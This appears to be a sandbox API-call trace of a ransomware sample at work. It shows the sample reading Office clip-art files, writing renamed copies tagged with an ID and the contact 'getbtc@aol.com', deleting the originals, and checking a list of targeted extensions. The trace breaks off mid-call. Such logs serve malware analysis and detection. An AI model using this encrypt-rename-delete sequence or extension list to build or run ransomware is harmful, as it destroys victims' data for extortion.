[0253.789] lstrlenW (lpString=".jpg") returned 4 [0253.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.789] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.789] lstrlenW (lpString="J0093905.WMF") returned 12 [0253.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.796] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=42050) returned 1 [0253.796] CloseHandle (hObject=0x1fc) returned 1 [0253.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0253.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.821] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.821] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.821] GetLastError () returned 0x0 [0253.821] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xa442, lpOverlapped=0x0) returned 1 [0253.823] WriteFile (in: hFile=0x394, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xa450, lpOverlapped=0x0) returned 1 [0253.825] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.825] WriteFile (in: hFile=0x394, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.825] SetEndOfFile (hFile=0x394) returned 1 [0253.825] CloseHandle (hObject=0x394) returned 1 [0253.825] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.825] SetEndOfFile (hFile=0x1fc) returned 1 [0253.828] CloseHandle (hObject=0x1fc) returned 1 [0253.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.829] lstrlenW (lpString=".doc") returned 4 [0253.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString=".docx") returned 5 [0253.829] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0253.829] lstrlenW (lpString=".pdf") returned 4 [0253.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString=".xls") returned 4 [0253.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.829] lstrlenW (lpString=".xlsx") returned 5 [0253.829] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0253.829] lstrlenW (lpString=".ppt") returned 4 [0253.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.829] lstrlenW (lpString=".zip") returned 4 [0253.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.829] lstrlenW (lpString=".rar") returned 4 [0253.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString=".bz2") returned 4 [0253.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString=".7z") returned 3 [0253.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.829] lstrlenW (lpString=".dbf") returned 4 [0253.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.829] lstrlenW (lpString=".1cd") returned 4 [0253.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.829] lstrlenW (lpString=".jpg") returned 4 [0253.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.830] lstrlenW (lpString=".doc") returned 4 [0253.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.830] lstrlenW (lpString=".docx") returned 5 [0253.830] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0253.830] lstrlenW (lpString=".pdf") returned 4 [0253.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.830] lstrlenW (lpString=".xls") returned 4 [0253.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.830] lstrlenW (lpString=".xlsx") returned 5 [0253.830] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0253.830] lstrlenW (lpString=".ppt") returned 4 [0253.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.830] lstrlenW (lpString=".zip") returned 4 [0253.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.830] lstrlenW (lpString=".rar") returned 4 [0253.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.830] lstrlenW (lpString=".bz2") returned 4 [0253.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.830] lstrlenW (lpString=".7z") returned 3 [0253.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.830] lstrlenW (lpString=".dbf") returned 4 [0253.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.830] lstrlenW (lpString=".1cd") returned 4 [0253.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0253.830] lstrlenW (lpString=".jpg") returned 4 [0253.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.830] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.831] lstrlenW (lpString="J0098497.WMF") returned 12 [0253.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.831] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4970) returned 1 [0253.831] CloseHandle (hObject=0x1fc) returned 1 [0253.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0253.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.832] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.832] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.832] GetLastError () returned 0x0 [0253.832] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x136a, lpOverlapped=0x0) returned 1 [0254.030] WriteFile (in: hFile=0x394, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0254.031] ReadFile (in: hFile=0x1fc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.031] WriteFile (in: hFile=0x394, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.031] SetEndOfFile (hFile=0x394) returned 1 [0254.031] CloseHandle (hObject=0x394) returned 1 [0254.031] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.031] SetEndOfFile (hFile=0x1fc) returned 1 [0254.033] CloseHandle (hObject=0x1fc) returned 1 [0254.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0254.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.131] lstrlenW (lpString=".doc") returned 4 [0254.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.136] lstrlenW (lpString=".docx") returned 5 [0254.137] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0254.139] lstrlenW (lpString=".pdf") returned 4 [0254.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.140] lstrlenW (lpString=".xls") returned 4 [0254.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.147] lstrlenW (lpString=".xlsx") returned 5 [0254.148] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0254.149] lstrlenW (lpString=".ppt") returned 4 [0254.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.152] lstrlenW (lpString=".zip") returned 4 [0254.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.153] lstrlenW (lpString=".rar") returned 4 [0254.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.153] lstrlenW (lpString=".bz2") returned 4 [0254.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.154] lstrlenW (lpString=".7z") returned 3 [0254.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.154] lstrlenW (lpString=".dbf") returned 4 [0254.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.154] lstrlenW (lpString=".1cd") returned 4 [0254.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.154] lstrlenW (lpString=".jpg") returned 4 [0254.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.154] lstrlenW (lpString=".doc") returned 4 [0254.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.154] lstrlenW (lpString=".docx") returned 5 [0254.154] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0254.154] lstrlenW (lpString=".pdf") returned 4 [0254.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.155] lstrlenW (lpString=".xls") returned 4 [0254.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.155] lstrlenW (lpString=".xlsx") returned 5 [0254.155] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0254.155] lstrlenW (lpString=".ppt") returned 4 [0254.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.155] lstrlenW (lpString=".zip") returned 4 [0254.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.155] lstrlenW (lpString=".rar") returned 4 [0254.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.155] lstrlenW (lpString=".bz2") returned 4 [0254.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.155] lstrlenW (lpString=".7z") returned 3 [0254.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.155] lstrlenW (lpString=".dbf") returned 4 [0254.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.155] lstrlenW (lpString=".1cd") returned 4 [0254.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0254.155] lstrlenW (lpString=".jpg") returned 4 [0254.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.155] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.155] lstrlenW (lpString="J0099154.JPG") returned 12 [0254.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.172] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6929) returned 1 [0254.172] CloseHandle (hObject=0x3cc) returned 1 [0254.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0254.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.243] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.243] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.243] GetLastError () returned 0x0 [0254.243] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1b11, lpOverlapped=0x0) returned 1 [0254.254] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0254.255] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.255] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.255] SetEndOfFile (hFile=0x3e0) returned 1 [0254.255] CloseHandle (hObject=0x3e0) returned 1 [0254.255] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.255] SetEndOfFile (hFile=0x3dc) returned 1 [0254.257] CloseHandle (hObject=0x3dc) returned 1 [0254.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0254.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.258] lstrlenW (lpString=".doc") returned 4 [0254.258] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.258] lstrlenW (lpString=".docx") returned 5 [0254.258] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0254.258] lstrlenW (lpString=".pdf") returned 4 [0254.258] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.258] lstrlenW (lpString=".xls") returned 4 [0254.258] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.258] lstrlenW (lpString=".xlsx") returned 5 [0254.258] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0254.258] lstrlenW (lpString=".ppt") returned 4 [0254.259] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.259] lstrlenW (lpString=".zip") returned 4 [0254.259] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.259] lstrlenW (lpString=".rar") returned 4 [0254.259] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.259] lstrlenW (lpString=".bz2") returned 4 [0254.259] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.259] lstrlenW (lpString=".7z") returned 3 [0254.259] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.259] lstrlenW (lpString=".dbf") returned 4 [0254.259] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.259] lstrlenW (lpString=".1cd") returned 4 [0254.259] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.259] lstrlenW (lpString=".jpg") returned 4 [0254.259] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.259] lstrlenW (lpString=".doc") returned 4 [0254.259] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.259] lstrlenW (lpString=".docx") returned 5 [0254.259] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0254.259] lstrlenW (lpString=".pdf") returned 4 [0254.259] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.259] lstrlenW (lpString=".xls") returned 4 [0254.259] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.259] lstrlenW (lpString=".xlsx") returned 5 [0254.259] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0254.259] lstrlenW (lpString=".ppt") returned 4 [0254.259] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.259] lstrlenW (lpString=".zip") returned 4 [0254.260] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.260] lstrlenW (lpString=".rar") returned 4 [0254.260] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.260] lstrlenW (lpString=".bz2") returned 4 [0254.260] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.260] lstrlenW (lpString=".7z") returned 3 [0254.260] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.260] lstrlenW (lpString=".dbf") returned 4 [0254.260] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.260] lstrlenW (lpString=".1cd") returned 4 [0254.260] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0254.260] lstrlenW (lpString=".jpg") returned 4 [0254.260] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.260] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.260] lstrlenW (lpString="J0099159.WMF") returned 12 [0254.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.261] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=27546) returned 1 [0254.261] CloseHandle (hObject=0x3dc) returned 